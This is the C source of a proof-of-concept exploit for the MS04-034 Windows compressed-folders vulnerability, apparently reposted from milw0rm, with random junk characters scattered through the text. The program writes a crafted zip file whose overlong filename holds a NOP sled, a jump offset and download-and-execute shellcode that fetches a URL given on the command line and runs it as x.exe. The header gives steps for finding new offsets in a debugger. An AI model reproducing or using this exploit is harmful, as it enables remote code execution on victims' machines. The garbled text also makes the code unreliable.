(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 1 H* n1 o: J6 V* Q) G* O* s* 3 ?: h0 c6 U. F7 t7 x' ~. S* Tested under Windows XP SP0 Spanish/English * 5 ~' w1 i9 S1 v" W/ |/ `* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html 1 D O7 |# m2 C& ~' e/ U* Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * v2 G% f7 C, q) v O; N! c% u* ( `& O4 O4 g8 S& P* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION ! b! N8 p0 F$ S5 \8 Y, W. d* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet . z7 L& S6 W6 F+ b* * * How to get new offsets: ! C' `7 R7 Y' J0 a) ~* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses / }9 r& I1 Z/ ^# n+ x; h* & _8 |- [& g1 o6 O) m+ i, e' q2 Q+ ~*/ " T! N' R! k2 y) k% q 6 m$ X+ m5 f- O) }- [#include <stdio.h> 8 [" N0 z2 y& e#include <windows.h> 4 J9 }( O. W: V! E& [" q' O" d) c, _% c * |4 P3 w, A9 _* L#pragma pack(1) . H; Y/ @" j/ ]1 M0 ~ #define DATOS "Tarako-Haxorcitos.com" : X. g. [, | W( o; d Y1 d, z Ctypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) : ^! H, Q, D% f" `+ pWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; " @ ?1 z. `- U: E p- m7 fDWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; + P3 V, }% d! i1 a+ M4 RWORD FilenameLength; WORD ExtraFieldLength; 9 I) O# X% _( o/ p6 B, O// filename (variable size) // extra field (variable size) , G C% k& c1 a3 P$ V% e" p}TOPHEADER; & v" l$ r t% a- l, y, M3 J9 P8 Ztypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) # Q! V; x2 x, }4 _* AWORD MadeVersion; WORD VersionNeeded; / O/ q* X% [0 A' a; ~8 }4 HWORD GeneralPurposeFlag; // para el data descriptor y demas $ \- ?) s' S3 U, d4 rWORD CompressionMethod; ' B+ [8 N: l% P# t- u* fWORD ModFileTime; WORD ModFileDate; . u9 B! d- R( P$ b- ?: lDWORD Crc32; 9 S; w' d; s- IDWORD CompressedSize; ( U+ G( O5 j( }5 U2 qDWORD UncompressedSize; 5 I/ u, L, R" |/ M- g+ aWORD FilenameLength; 5 x. f4 R C4 L* r, g3 nWORD ExtraFieldLength; WORD FileCommentLength; / S3 O7 \& j5 |2 H: zWORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; ; t) L# G; o1 ]+ sDWORD RelativeOffsetOfLocalHeader; // filename (variable size) 7 a1 I& Q$ T* D& }" {4 @. e// extra field (variable size) // file comment (variable size) }MIDDLEHEADER; 1 e+ h' o- h1 ^$ d% v+ w4 G 3 F# d% T; _ u5 |3 Ktypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) % J/ }8 @8 I" r1 t0 P2 ^WORD NumOfThisDisk; 0 M' @& P* g2 M `: K! E/ EWORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; : O; n3 B% f8 m- YWORD TotalNumEntriesCentralDir; ' M" Q7 j$ h7 y1 a; ]7 |: ADWORD SizeCentralDirectory; 8 u: N' |# ?% @# aDWORD OffsetCentraDirRespectStartDiskNum; * b; q# m- x1 e8 M& ~$ Z9 |+ CWORD ZipCommentLength; 6 I, [5 T* u+ ^' m0 @! u- c// zipfile comment (variable size) 0 n7 m% d( k. o2 K}BOTTOMHEADER; - q) r6 x3 G3 \- U, K5 r/* * download shellcode - RaiSe - raise@netsearch-ezine.com $ Y, L) U$ D/ W3 w( ?8 `, p, X- q. @*/ char shellcode1[] = $ |7 v4 e, l$ q6 _6 W"\xEB\x5D\x5F\x8B\xF7\x80\x3F" . q: G/ L; D$ S4 r( {0 @* C6 m"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" + r) a0 p% X2 F0 r7 z# q. L"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" " c8 W; [+ k- b' W; w"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" 2 [+ E: ^. n0 ~5 G8 C0 r0 b/ L"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" . t6 e2 L2 G4 G6 P* t& b"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 3 q- Y7 k" g) @+ k. U2 H"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 2 H* u- R2 b9 v; K6 v& ?3 e"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" * b5 J5 Z% R' m" R3 k5 y9 u"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" ( t+ H6 g/ d, N) p' ~"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" 1 p$ n( d7 r3 E0 l' e- z5 l( i! m"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" $ |: l* t7 @7 O, h6 }9 ?) `- Z"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" - b. w4 K4 r3 C0 I8 n"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" - _% ~) ]$ o9 i9 h"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" * K, O8 v/ l: Q0 C( X; v1 Y9 P"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" 3 u5 V7 ^# q5 x0 H8 a! O& R"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 1 U5 g" I4 P8 o0 g U; {) B"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; ; b1 D. o( K. W9 d- {& V8 dchar jmpbelow[]= "\xeb\x06\x90\x90"; " ~: I5 I: \; _: z$ ~7 G9 m4 Z0 q # _. M# @4 x; U- dint main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; ' X! M. y4 j8 Z% X" c* ?" P5 XBOTTOMHEADER *Cabecera3; + p: [; p4 x2 P% \9 K8 s5 ]. v; R % F1 v! N( o/ `" }$ q' YDWORD c; UINT i; 5 A+ y* n8 p* t1 echar *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 1 w( q( p2 O9 N: b( D) R4 xprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); ) N) R6 i) \2 v- o' ?& A/ Fif (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } % P/ a& l* A" b; K" y $ s; T. s9 k( p: jurl=argv[1]; ' {& a- A, M$ h- i; N8 P" L+ u2 Yprintf("\n * URL: %s",url); - ^3 B5 F; F* ~1 G/ a/ w/ Q* Y! Q7 B8 h if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); 9 K8 E i. h# I4 [) c: g: @8 kexit(1); 8 U; \2 a' u+ \- M2 p2 K} 9 \; h" k8 i4 E* @c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); " B# O6 Z9 Z9 p! ?. O4 Z/ r/ H- T0 Tmemset(filename,0,sizeof(filename)); # s3 W% T! O1 Q$ T. d# M for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); . w% ]( V& A2 ?) P( p6 a/ ~memcpy(filename+0x1818,offset,strlen(offset)); . ^: ~ V4 ?; i( Q4 V- f. g 1 b/ a) h; B" {" @memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); " |+ Q# r# v) L2 z$ x/ Xmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 0 N& A: C) o/ Vmemcpy(filename+(c-4),".txt",4); 2 n0 Z! W7 \( `8 s , ^) g5 Q8 P5 U6 O8 p4 QCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); + j0 g0 q$ c: x. g7 Amemset(Cabecera1,0,sizeof(TOPHEADER)); 4 s% c" r1 _! lmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); & A( v' _1 c: X# B4 ]; a( b/////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// ; q# n1 A) q* BCabecera1->Signature=0x04034B50; // DWORD ; q; f$ [7 f! V6 _- E6 sCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 5 l" F8 `7 y9 O# n9 RCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD 5 f! d: l% `, l, d5 F4 vCabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // MIDDLEHEADER /////////////////////////////////////////////////////////////////// ) M3 L# o7 b7 q4 J, W. }) sCabecera2->Signature=0x02014B50; // DWORD + }1 R. W; G/ @" b9 O9 `Cabecera2->MadeVersion=0x0014; // WORD r. J$ }$ v8 m5 G6 e% J* Z- ~Cabecera2->VersionNeeded=0x000A; // WORD 6 h! `+ D z0 r0 N+ q3 y& x; A; P# R4 D3 rCabecera2->GeneralPurposeFlag=0x0002; // WORD * z+ H4 Q1 W: m A2 z; U) |Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD 9 u* _, I. C' A1 w1 kCabecera2->CompressedSize=0x00000015; // DWORD ' o* N! q" R" H+ G4 BCabecera2->UncompressedSize=0x00000015; // DWORD + Z6 z( @# @8 `* b0 I% kCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 5 S* V& _9 e' a6 V& K# YCabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD $ N. \* h1 c j* c. qCabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD ; K4 P4 c2 j ECabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD * p. z; K& V' ~! Z- g; [+ U: `/////////////////////////////////////////////////////////////////// % O8 F: r" s& ?) a7 l( ] + C' O6 a- O, q5 d7 ]. Q1 h) `/////////////////////////////////////////////////////////////////// // BOTTOMHEADER % B; j# v& q4 z! v/////////////////////////////////////////////////////////////////// : l$ G1 v. [0 h4 P( ACabecera3->Signature=0x06054B50; // DWORD & G& X/ S8 d4 m; S) N8 {# @Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 6 H% u& y2 S( _9 M+ JCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 9 m$ i# Q! l6 X6 l8 e4 ]Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD . f9 r$ W8 M& z, a0 K* Z) ^* b7 uCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD $ h# ^# E0 m5 z0 u! pCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// " p: O f) @. \0 P: h8 ] 1 e: l. v3 {9 T& Kfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); 7 V1 x* f/ \7 n" J3 a) Ofwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); 7 n( u, |$ n& j5 T ( ~. t9 r5 p6 i; A3 {8 F9 p' {2 i# }fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); 8 n5 R% g; @2 R! U! efwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); " P9 @/ C& z( @$ \6 ^4 E5 [ , I( w2 a0 }- d; N( Vfclose(ZipFile); printf("\n * prueba.zip created\n"); 5 o2 i& X t) b3 \# [return 1; ! B1 Y8 t& Q7 L4 @1 g4 z/ r}//downloaded from milw0rm.com ' \( y' Y' u1 q. l8 I# `2 U9 \